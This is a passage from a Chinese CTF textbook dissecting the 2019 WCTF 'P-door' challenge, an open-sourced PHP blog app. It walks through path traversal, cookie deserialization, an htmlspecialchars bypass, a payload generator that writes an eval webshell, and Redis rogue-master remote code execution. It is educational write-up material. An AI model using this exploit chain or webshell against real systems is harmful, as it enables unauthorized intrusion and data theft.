8.4 2019 WCTF大师赛赛题剖析:P-door
这道题用到了前文所述的代码审计、反序列化漏洞等技术,该题目已经开源,获取地址为https://github.com/paul-axe/ctf。拿到题目后,可以发现其具有以下几个功能:注册、登录、写文章(如图8-3所示)。
图8-3 题目界面
注意,Cookie中存在反序列化字符串形式的值,如图8-4所示。
图8-4 发现反序列化字符串
所以猜测这道题可能需要获得源码并进行审计,扫描后发现存在Git泄露源码的问题。
分析代码时可以发现,代码量非常少,但挑战不小。我们关注到该题主要有3个大类,分别是:User、Cache、Page,并且在代码中使用了Redis作为数据库,代码如下:
$redis = new Redis(); $redis->connect("db", 6379) or die("Cant connect to database");
所以猜测题目不是要Getshell就是SSRF,flag很有可能在Redis数据库服务器中。如果要进行Getshell,或许可以利用“写文章”的功能,那么审计的重点就会集中到写文件部分。在大概了解了代码结构之后,首先我们关注一下Page类里的publish方法,代码如下:
public function publish($filename) { $user = User::getInstance(); $ext = substr(strstr($filename, "."), 1); $path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext; $user->checkWritePermissions(); Cache::writeToFile($path, $this); }
可以看到,在路径的结尾,文件名的后缀会取第一个“点”后面的部分,构造出路径穿越,例如:
$filename = './../../../../../var/www/html/sky.php';
我们可以利用这一点进行任意目录写。
下面再来跟进一下传参方式,首先看一下index.php,代码片段如下:
$controller = new MainController(); $method = "do".$_GET["m"]; if (method_exists($controller, $method)){ $controller->$method(); } else { $controller->doIndex(); }
从这段代码中可以发现,我们可以触发以“do”开头的方法,接下来查看调用publish的相关方法,代码如下:
public function doPublish(){ $this->checkAuth(); $page = unserialize($_COOKIE["draft"]); $fname = $_POST["fname"]; $page->publish($fname); setcookie("draft", null, -1); die("Your blog post will be published after a while (never)<br><ahref=/>Back</a>"); }
可以看到,doPublish方法体第4行的$page会调用publish方法,该方法的参数使用了POST的fname参数。那么我们可以构造fname参数为:
./../../../../../var/www/html/sky.php
继续往下,可以看到“Cache::writeToFile($path,$this);”,从方法名可以判断出这是一个写文件操作,下面继续跟进writeToFile方法,代码如下:
class Cache { public static function writeToFile($path, $content) { $info = pathinfo($path); if (!is_dir($info["dirname"])) throw new Exception("Directory doesn't exists"); if (is_file($path)) throw new Exception("File already exists"); file_put_contents($path, $content); } }
可以看出,writeFile方法在写文件之前会先判断目录是否存在,若不存在则抛出异常,而我们的路径为:
$path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;
显然,microtime(true)目录是不存在的,所以我们继续跟进参与到路径变量拼接中的getCacheDir方法,代码如下:
public function getCacheDir(): string { $dir_path = self::CACHE_PATH . $this->name; if (!is_dir($dir_path)){ mkdir($dir_path); } return $dir_path; }
我们发现其中调用了mkdir方法来创建目录,并且这一步是在校验写权限方法“$user->checkWritePermissions();”之前。因此,如果我们可以控制:
$dir_path = self::CACHE_PATH . $this->name;
就可以创建任意目录。但还有一个microtime(true)目录是无法控制的,所以接下来需要我们对要创建的microtime(true)目录名进行预估,如图8-5所示。
图8-5 microtime返回格式
可以设置一个提前时间量用于批量创建文件夹,然后就可以用Burp或自写脚本进行爆破,直到找到目录,达到任意写文件的目的。
在确认可任意写文件之后,还需要控制文件的内容,接下来是审计相关代码:
Cache::writeToFile($path, $this);
注意,writeFile方法的第二个参数是$this,再次查看writeToFile方法,可以发现如下关键代码:
file_put_contents($path, $content);
此处会触发魔法方法__toString方法(参见5.1.2节关于反序列化漏洞的相关内容):
public function __toString(): string { return $this->render(); }
并在__toString方法中触发render方法,render方法代码如下:
public function render(): string { $user = User::getInstance(); if (!array_key_exists($this->template, self::TEMPLATES)) die("Invalid template"); $tpl = self::TEMPLATES[$this->template]; $this->view = array(); $this->view["content"] = file_get_contents($tpl); $this->vars["user"] = $user->name; $this->vars["text"] = $this->text."\n"; $this->vars["rendered"] = microtime(true); $content = $this->renderVars(); $header = $this->getHeader(); return $header.$content; }
可以看到,render方法体中倒数第三行对content进行了处理:
$content = $this->renderVars();
所以我们跟进renderVars方法,看看处理规则是怎样的,renderVars方法代码如下:
public function renderVars(): string { $content = $this->view["content"]; foreach ($this->vars as $k=>$v){ $v = htmlspecialchars($v); $content = str_replace("@@$k@@", $v, $content); } return $content; }
可以发现foreach循环体中第二行会对content进行编码:
$v = htmlspecialchars($v);
此处调用了一个HTML字符实体编码的方法,那么现在的难点在于,我们无法构造出php tag来写入文件,因为htmlspecialchars方法会将“<?php”转义为“<?php”,如图8-6所示。
图8-6 HTML字符实体
所以,这里就需要巧妙地构造出一个不被转义的php tag,从renderVars方法中可以看到,返回的$content在过滤前会被$this->view["content"]赋值。
如果我们能在赋值之前控制$this->view,将其变成字符串而非数组,那么便可以绕过过滤(如图8-7所示),这里需要用到2017 GCTF中的一个方法(可参考https://skysec.top/2017/06/20/GCTF中与PHP反序列化相关的题目)。
图8-7 绕过htmlspecialchars编码
这个方法利用的是“&”符,比如“$this->vars["text"]=&$this->view;”,此时只要改变$text的值,即可达到更改$this->view的目的。我们可以在doSaveDraft方法中看到$text并没有被过滤,所以可以构造:
$text='<?php';
这样$view就会变成字符串而非数组了,这便达成了在图8-7中bypass过滤的目的。
那么,应该如何构造出可用的exp呢?仅仅1个“<”是不够的,并且此处我们要注意到,file_put_contents方法是覆盖数据而不是追加数据。
所以exp必须一次到位,那么这里就要看render方法中最后的return语句,如下:
return $header.$content;
假如$content依然为对象,那么代码就会继续触发_toString(),这样一来我们就可以一个字符一个字符地进行拼接,直到凑出exp,下面附上lcbc构造的exp,代码如下:
$PAYLOAD = "<?php eval(\$_REQUEST[1]);"; function gen_payload($payload){ $expl = false; for ($i=0; $i<strlen($payload); $i++){ $p = new Page("main"); $p->text= $payload[$i]; $p->vars["text"] = &$p->view; if (!$expl) $expl = $p; else { $p->header = $expl; $expl = $p; } } return serialize($expl); } gen_payload($PAYLOAD);
这样就可以非常巧妙地拼接出Payload了,如图8-8所示。
图8-8 生成Payload
由于在写文件时会跟随很多tpl模板中输出的内容,这些内容会导致PHP解析失败(如图8-9所示),所以在最后闭合“?>”的时候,还使用了一个技巧,可以使用__halt_compiler方法让编译器停止继续向下编译,如图8-10所示。
图8-9 无关数据导致的编译失败
图8-10 用__halt_compiler方法使编译器停止
将Payload提交后就可以顺利拿到Webshell了,拿到Webshell之后,我们需要从Redis中获得flag。这里需要掌握一个新的知识点:Redis从4.x版本开始存在一个主从模式(slave)的安全问题。参考资料为https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf。
下面我们来模拟一下,假设题目中Redis服务在192.168.1.106:10004上,公网IP为192.168.1.185。这里使用脚本(https://github.com/n0b0dyCN/redis-rogue-server)在公网端模拟一个Redis服务,启动时加载恶意so文件。
让目标192.168.1.106:10004成为该服务的从服务端(实际情况下,若不在同一网络下,则需要端口转发),利用FULLRESYNC进行远程代码执行,如图8-11所示。
图8-11 Redis 5.0 RCE示例
然后便可以进行Getflag了,如图8-12所示。
图8-12 获得flag